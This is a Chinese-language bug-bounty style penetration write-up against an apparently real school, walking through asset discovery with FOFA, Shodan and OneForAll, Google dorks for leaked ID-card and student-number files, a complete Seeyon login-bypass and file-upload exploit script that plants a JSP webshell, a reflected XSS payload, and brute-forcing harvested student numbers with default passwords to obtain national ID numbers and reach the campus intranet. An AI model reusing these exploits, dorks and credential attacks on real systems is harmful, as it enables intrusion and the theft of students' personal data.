选择目标
进入补天,选择一个目标
信息收集
真实ip查找
使用
nslookup xxx.xxx.xxx
虽然只有一个ip回显,但是访问后发现,尝试使用https,发现也不行,因为还没有打算跑流量,所以先放下
使用fofa证书序列号查找功能发现ip
从这里进入
在详细信息里面找到序列号
拿百度的来说
去除冒号,将16进制转换为10进制
直接使用cert参数进行搜索,可以发现能够找到一些ip
同理,使用该方法发现真实ip
使用shodan直接查找ip段漏洞
shodan search --limit 100 --fields ip_str,port net:xxx.xxx.xxx.0/24 has_vuln:True
参数解释
-
shodan search
: 这是基本的搜索命令,用来启动 Shodan 查询。 -
--limit 100
: 这个选项告诉 Shodan 返回最多 100 个结果。默认情况下,Shodan 只返回 100 个结果,但是你可以通过这个参数来改变这个数量(取决于你的订阅级别)。 -
--fields ip_str,port
: 这个选项指定你想要在结果中包含哪些字段。在这个例子中,ip_str
是指设备的 IP 地址,port
是指开放的服务端口。 -
net:xxx.xxx.xxx.0/24
: 这是一个过滤器,用来查找属于某个特定网络段内的设备。xxx.xxx.xxx.0/24
指的是一个 CIDR 表示法的子网掩码,代表的是一个以xxx.xxx.xxx.
开头的所有 IP 地址。例如,如果你输入192.168.1.0/24
,那么它将搜索所有192.168.1.*
的 IP 地址。 -
has_vuln:True
: 这个过滤器用来查找已知存在漏洞的设备或服务。如果设置为True
,则只返回那些有已知安全漏洞的结果。
得到5条ip回显,进行访问后发现有一个不能使用了
两个返回
还有一个倒是正常的,但是图标不正常,是上海某某学校,时间原因就不去验证漏洞是否真的存在了
最后终于找到一个,不过是cve-2010的,都是关于iis的,嗯……,先跳过吧
资产测绘
使用quake进行资产测绘,进行二次测绘,域名和备案号,更加全面
oneforall
使用oneforall进行子域名查找,找到7890条子域名
存活检测+去除多余子域名
对二次资产测绘得到的数据和oneforall得到的数据进行去除,得到12697条数据,并且使用windfire进行存活检测,得到3437条数据
这些大部分都是vpn登录页面的子域名,所以进行二次去重,最终得到162条数据
之后就是丢过去跑jsfind
批量域名得ip,使用shodan搜索漏洞
直接让人工智障写一个脚本,批量url执行nslookup得到去重ip
import re
import subprocess
from urllib.parse import urlparse
def extract_domain(url):
"""从URL中提取域名,并去除端口号"""
parsed_uri = urlparse(url)
# 获取netloc并去除端口号
domain = parsed_uri.netloc.split(':')[0]
return domain
def get_ip_from_nslookup(domain):
"""使用nslookup命令获取域名对应的IP地址"""
try:
# 执行nslookup命令并获取输出
nslookup_result = subprocess.check_output(['nslookup', domain], stderr=subprocess.STDOUT, text=True)
# 查找IPv4地址
ipv4_pattern = r'\b(?:\d{1,3}\.){3}\d{1,3}\b'
ipv4_addresses = []
addresses_started = False
for line in nslookup_result.splitlines():
if 'Address:' in line:
addresses_started = True
match = re.search(ipv4_pattern, line)
if match:
ipv4_addresses.append(match.group(0))
# 返回最后一个(即第二个)找到的IPv4地址
if len(ipv4_addresses) >= 2:
return ipv4_addresses[1] # 返回第二个IPv4地址
return None
except subprocess.CalledProcessError as e:
print(f"Failed to resolve domain {domain}: {e.output}")
return None
def process_urls(input_file, output_file):
"""处理输入文件中的URL,获取IP地址,并保存到输出文件中"""
# 创建一个集合来存储唯一的IP地址
unique_ips = set()
with open(input_file, 'r') as file:
for line in file:
url = line.strip()
if url:
domain = extract_domain(url)
ip_address = get_ip_from_nslookup(domain)
if ip_address:
unique_ips.add(ip_address)
# 将唯一IP地址写入新文件
with open(output_file, 'w') as file:
for ip in unique_ips:
file.write(ip + '\n')
# 使用方法
input_file = 'urls.txt' # 输入文件路径
output_file = 'resolved_ips.txt' # 输出文件路径
process_urls(input_file, output_file)
得到,有漏洞的ip,不过不太好利用,先跳过
Google搜索,得到大量学号
得到一些敏感数据,比如默认密码,老师的电话之类的
谷歌语法如下(直接copy即可)
site:.A.B.cn filetype:xls OR filetype:xlsx intext:身份证
site:.A.B.cn filetype:pdf OR filetype:doc OR filetype:docx intext:身份证
site:.A.B.cn filetype:xls OR filetype:xlsx "身份证"
site:.A.B.cn filetype:pdf OR filetype:doc OR filetype:docx "身份证"
site:.A.B.cn filetype:xls OR filetype:xlsx intitle:身份证
site:.A.B.cn filetype:pdf OR filetype:doc OR filetype:docx intitle:身份证
语法解释
site:指定域名
inurl:用于搜索包含的url关键词的网页
intitle:搜索网页标题中的关键字
intext:搜索网页正文中的关键字
filetype:按指定文件类型即文件后缀名搜索
cache:已经删除的缓存网页
关键词可以替换为:
身份证|sfz|学号|xh|登录|注册|管理|平台|验证码|账号|系统|手册|默认密码|初始密码|password|联系电话|操作手册|vpn|名单
得到大量的学号泄露,整理了一下,得到332条学号
寻找利用点
尝试致远漏洞(登陆绕过+任意文件上传)
https://blog.csdn.net/bring_coco/article/details/140336176
exp
# coding:utf-8
import time
import requests
import re
import sys
import random
import zipfile
la = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
'Content-Type': 'application/x-www-form-urlencoded'}
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
mm = generate_random_str(8)
webshell_name1 = mm+'.jsp'
webshell_name2 = '../'+webshell_name1
def file_zip():
shell = 'test' ## 替换shell内容
zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
zf.writestr('layout.xml', "")
zf.writestr(webshell_name2, shell)
def Seeyon_Getshell(urllist):
url = urllist+'/seeyon/thirdpartyController.do'
post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
response = requests.post(url=url, data=post, headers=la)
if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
cookie = response.cookies
cookies = requests.utils.dict_from_cookiejar(cookie)
jsessionid = cookies['JSESSIONID']
file_zip()
print( '获取cookie成功---->> '+jsessionid)
fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='
headersfile = {'Cookie': "JSESSIONID=%s" % jsessionid}
post = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0',
'isEncrypt': "0"}
file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]
filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)
time.sleep(2)
else:
print('获取cookie失败')
exit()
if filego.text:
fileid1 = re.findall('fileurls=fileurls\+","\+\'(.+)\'', filego.text, re.I)
fileid = fileid1[0]
if len(fileid1) == 0:
print('未获取到文件id可能上传失败!')
print('上传成功文件id为---->>:'+fileid)
Date_time = time.strftime('%Y-%m-%d')
headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}
getshellurl = urllist+'/seeyon/ajax.do'
data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'
getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)
time.sleep(1)
webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1
shelllist = requests.get(url=webshellurl1)
if shelllist.status_code == 200:
print('利用成功webshell地址:'+webshellurl1)
else:
print('未找到webshell利用失败')
def main():
if (len(sys.argv) == 2):
url = sys.argv[1]
Seeyon_Getshell(url)
else:
print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")
if __name__ == '__main__':
main()
只能上传zip文件,不能解压,失败
尝试rabbitmq未授权登录
默认账号密码为guest/guest,失败
xss
反射型xss
发现一个查询框,尝试xss
>"'><script>alert('XSS')</script>
学号+弱口令进入,得到身份证
看子域名的js的url时发现一个登录地址,查看操作说明,发现使用了默认密码
随便尝试一下,直接登录成功,发现直接显示学号和身份证
而且登录的验证码有逻辑错误,第一次验证码正确以后都不验证,直接爆破,使用之前得到的332个学号,成功了118条学号
登录校园网
和大多数学校一样,校园网是学号+身份证后6位
随便尝试一下,直接成功,访问了学校的内网